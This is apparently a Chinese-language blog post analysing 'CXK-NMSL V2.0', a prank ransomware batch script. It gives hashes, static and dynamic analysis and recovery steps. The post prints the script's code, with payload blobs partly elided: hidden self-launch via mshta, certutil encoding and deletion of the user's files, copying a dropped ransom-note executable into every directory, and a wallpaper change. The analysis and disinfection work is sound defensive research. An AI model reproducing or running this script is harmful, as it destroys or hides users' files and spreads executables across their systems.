CXK惡作劇勒索2.0分析
- 2019 年 11 月 20 日
- 筆記
CXK惡作劇勒索2.0分析
1 摘要
勒索軟體的流行程度近幾年來廣為人知,於是就有人喜歡模仿,這種炫技行為真的是用錯了地方。該樣本之前1.0版本已分析過,而本次分析的是2.0版本,發現新增與改變了一些行為。
2 起因
最近,在日常監測惡意軟體的過程中又發現了惡作劇勒索,之後作者本人竟然留了評論(文末截圖),加上之前已簡單分析過,這次便再進行分析,看看是否有相應的不同,本文不鼓勵以此編寫類似的勒索腳本。
3 分析環境
3.1 樣本資訊
文件名 |
CXK-NMSL V2.0.bat |
---|---|
sha256 |
cd9a15f3522485428e5b1a2582caa919a1e7d9c5d79da6a23175114bfd4a8b6 |
sha1 |
b835aa12e2e07493fb8c9ca551316b6677066859 |
md5 |
eb7e34fea310223a99e4f2ee2dd12fa9 |
3.2 本地工具
作業系統 |
Win10_x64_pro、Win7_x64_sp1_pro |
---|---|
虛擬機軟體 |
VMware15 pro |
文本編輯工具 |
notepad++ |
4 靜態分析
4.1 VT檢測
檢測結果如下圖,很多引擎都標記為勒索,木馬:

4.2 提交時間

目前只能判斷該文件是10月份出現的
4.3 批處理內容
批處理程式碼如下:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778 |
@echo offif "%1"=="h" goto begin start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit :beginREM ren *.* *.*.cxkdata&ren "CXK-NMSL V2.0.bat.cxkdata" "CXK-NMSL V2.0.bat" for %%a in (*.cxkdata) do certutil -encode "%%~a" "%%~na.cxkdata.cxk_nmsl" del /s /q *.cxkdata echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>xecho AAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v>>xecho ZGUuDQ0KJAAAAAAAAACPivnby+uXiMvrl4jL65eISPeZiMrrl4ii9J6IyuuXiCL0mojK65eIUmlj>>x…………echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>xecho AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>xecho AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>xecho AAAAAAAAAAAAAAAAAAAAAAA=>>x certutil -decode x CXK-NMSL-README.txt.exe >NUL 2>NULdel x >NUL 2>NUL for /r "%SystemDrive%" /d %%p in (.) do echo Copy to "%%p" & copy CXK-NMSL-README.txt.exe "%%p" echo UEsDBBQAAAAIAJN93k50tKHstlgGANauBgANAAAAd2FsbHBhcGVyLmpwZ+y6d1STX7cuGkRFiiC9>xecho ExUQ6Sq9RkVAQERUeokIiIChIy0QESnSIiAgNQIiSItIbwnSERDpEHrvkFADaSf+vn3uGfvc88e9>>xecho 37h73H/2SmZYI3nfteaz5pzPmvNlUcYpc4BL+jp6OgAaGhrAM+oLQJkHvND2d34BABgaAiQAAMAF>>xecho wHkaNgAttUdDfQFoaQDn/ukDAKa0tP/8/SsA40v/6v/9MGYFnP3X98ytxmz/q//3OgBNxGcAoBxO>>xecho mQRoAc7Q0Px9/0ejPUf7t50/e5b2HN15Orq/coGekf7CBYYLdHQMFxkYGJmojY6emeUiE/Pf/t9B>>x…………echo 2bGDuO35unaup8QX32WPcq/d6V4Z8aPiDNawuqtJzvx7frU8wHlfx/8AiYlnBe/vFwrHknr8pr88>>xecho /wBq746KuqSJ56ndET94+rV7H+1D8X71L3Uo1kmEauQBn/ZPvX54/tEeNLzVfE7bppP9Xjk+7Vzz>>xecho qXdgMb4meLxr12zGTd8xxg1x6HdI3+FUTdyX8rbmb8TVuL5Y6kD/2VBLAQIUABQAAAAIAJN93k50>>xecho tKHstlgGANauBgANAAAAAAAAAAAAAAC2gQAAAAB3YWxscGFwZXIuanBnUEsFBgAAAAABAAEAOwAA>>xecho AOFYBgAAAA==>>x echo f=new ActiveXObject(^"Scripting.FileSystemObject^");i=f.getFile(^"x^").openAsTextStream();>x.jsecho x=new ActiveXObject(^"MSXml2.DOMDocument^").createElement(^"Base64Data^");x.dataType=^"bin.base64^";>>x.jsecho x.text=i.readAll();o=new ActiveXObject(^"ADODB.Stream^");o.type=1;o.open();o.write(x.nodeTypedValue);>>x.jsecho z=f.getAbsolutePathName(^"z.zip^");o.saveToFile(z);s=new ActiveXObject(^"Shell.Application^");>>x.jsecho s.namespace(26).copyHere(s.namespace(z).items());o.close();i.close();>>x.js set v="%appdata%wallpaper.jpg"del %v% >NUL 2>NULcscript x.js >NUL 2>NULreg add "hkcucontrol paneldesktop" /v Wallpaper /d "%v%" /fRunDll32.exe USER32.DLL,UpdatePerUserSystemParametersdel x.js >NUL 2>NULdel z.zip >NUL 2>NULdel x >NUL 2>NUL set bgm="%temp%ģ̫À.mp3"del %bgm% >NUL 2>NULcertutil -decode "%~f0" %bgm% >NUL 2>NULstart "" %bgm% goto:1—–BEGIN CERTIFICATE—–//qRbMKoAAADf2U3BipgADcsh8DAnABNTZUjuFUAAVcX5HcEoADwbBzycAP4CZB5NkT/Qcw/zQrkwTn/k2ZEQGUFkf/nhchOjjWZf/5EBlxZZ8G8ZCk5//+RQWsR+M4JwHPHMFaDg///8VoLgPB8YfOSZBESLgZAA2w/////EGBigWSF1YhYDM4BiAHUoarFLjbC6AdJ8H//n///7//bPf//2//9le3//90YSCpMaDRv///G43cH5OWPjd/////z…………eC15Wc5LeYXEj2r/7WV2j60mNv7e1y1fft5CZcZiKpZvduBLpGmRb0hzsmPzkbkPBV+RJo3w3ruT7VBDgXahRFQZNMP6hed9tbc6yllIYaa5TP3LJIMg4lhqpIxHhdJ/627eqexMfleG9vkUKkw9aOcvaUZDx7ybtDujNEKOi8xPLzVz/uahqmRQ9vPPEBwSDFF0kbUgIhhxltJAtQShYTuQmXgn7/7ben///l///Qffy8v8Xaa3M5So1pPPnq8yt762Vs5iGpUn2TNeXStOJ9bWHbigzbRBAnJKN69OtNBjEDy9CjXs8kMWBrU=—–END CERTIFICATE—– :1 del %0 |
---|
4.4 腳本分析
開頭依然是以最小化方式執行批處理文件

接著往下是將文件重命名為.cxkdata後綴(隻影響該文件所在的目錄),會將CXK-NMSL V2.0.bat.cxkdata給還原,然後將.cxkdata後綴的文件直接使用base64編碼後重新改名末尾添加.cxk_nmsl後綴,編碼完成後刪除.cxkdata後綴的文件(註:這裡為了分析,已對批處理腳本內容做了小更改,注釋了所有del刪除命令)。

上圖的一大段的echo指令,最後會生成勒索信內容,取名為CXK-NMSL-README.txt.exe,新增了將勒索信給複製到系統相應目錄(包含自啟動目錄)的行為,包含網路共享位置(單單從行為看,確實與大部分勒索軟體是一致的),如下:



又出現一大段 echo 指令,這些內容提取後,生成相應的 js 文件對其進行解壓,由於在查看時末尾發現"=="符號,自然而然就直接對其進行 base64 解碼,文件以 PK 開頭,發現是一個 zip 壓縮包,本地對其解壓後發現是一張圖片(與 1.0 版本步驟一致,圖片也沒變)。


再往下與之前 1.0 版本一致,依然是解壓圖片,更換用戶的桌面壁紙,嘗試開啟音樂。

再接著往下,是已 base64 編碼後的內容,運行期間腳本這裡已經對其進行了跳過,未對其做處理,但最後 certutil -decode "%~f0" %bgm% >NUL 2>NUL 會使用類似解碼 certutil -decode "CXK-NMSL V2.0.bat" CXK.mp3可得到一個 mp3 文件,正常的話可以播放音樂。

最後是批處理運行中,生成的中間文件。

5 動態分析
5.1 本地演示
樣本來源於國外,運行後效果如下圖:




同樣,在系統重啟後也會彈出相應的勒索資訊框。
5.2流程圖

6 查殺
腳本將文件重命名為.cxkdata 後綴(隻影響該腳本文件所在的目錄),會將 CXK-NMSL V2.0.bat.cxkdata 給還原,然後將.cxkdata 後綴的文件直接使用 base64 編碼後重新改名末尾添加.cxk_nmsl 後綴,編碼完成後刪除.cxkdata 後綴的文件,所以解密文件如下,直接使用 decode 解碼.cxk_nmsl 後綴文件,之後通過搜索全局文件 CXK-NMSL-README.txt.exe,刪除釋放的勒索信,最後自行修改壁紙即可。

7 總結
雖然該文件使用 base64 編碼文件,造成一種加密的假象,但傳播這類文件確實不應該,並且出現了 2.0 版本,有一種越挫越勇的行為。但換個角度想想,如果作為普通用戶如果中了該勒索,對用戶的使用肯定會受到影響,筆者認為技術不應該用在這類地方。最後從勒索信中,可以訪問到作者的主頁,希望以後不會再有 3.0 版本了。


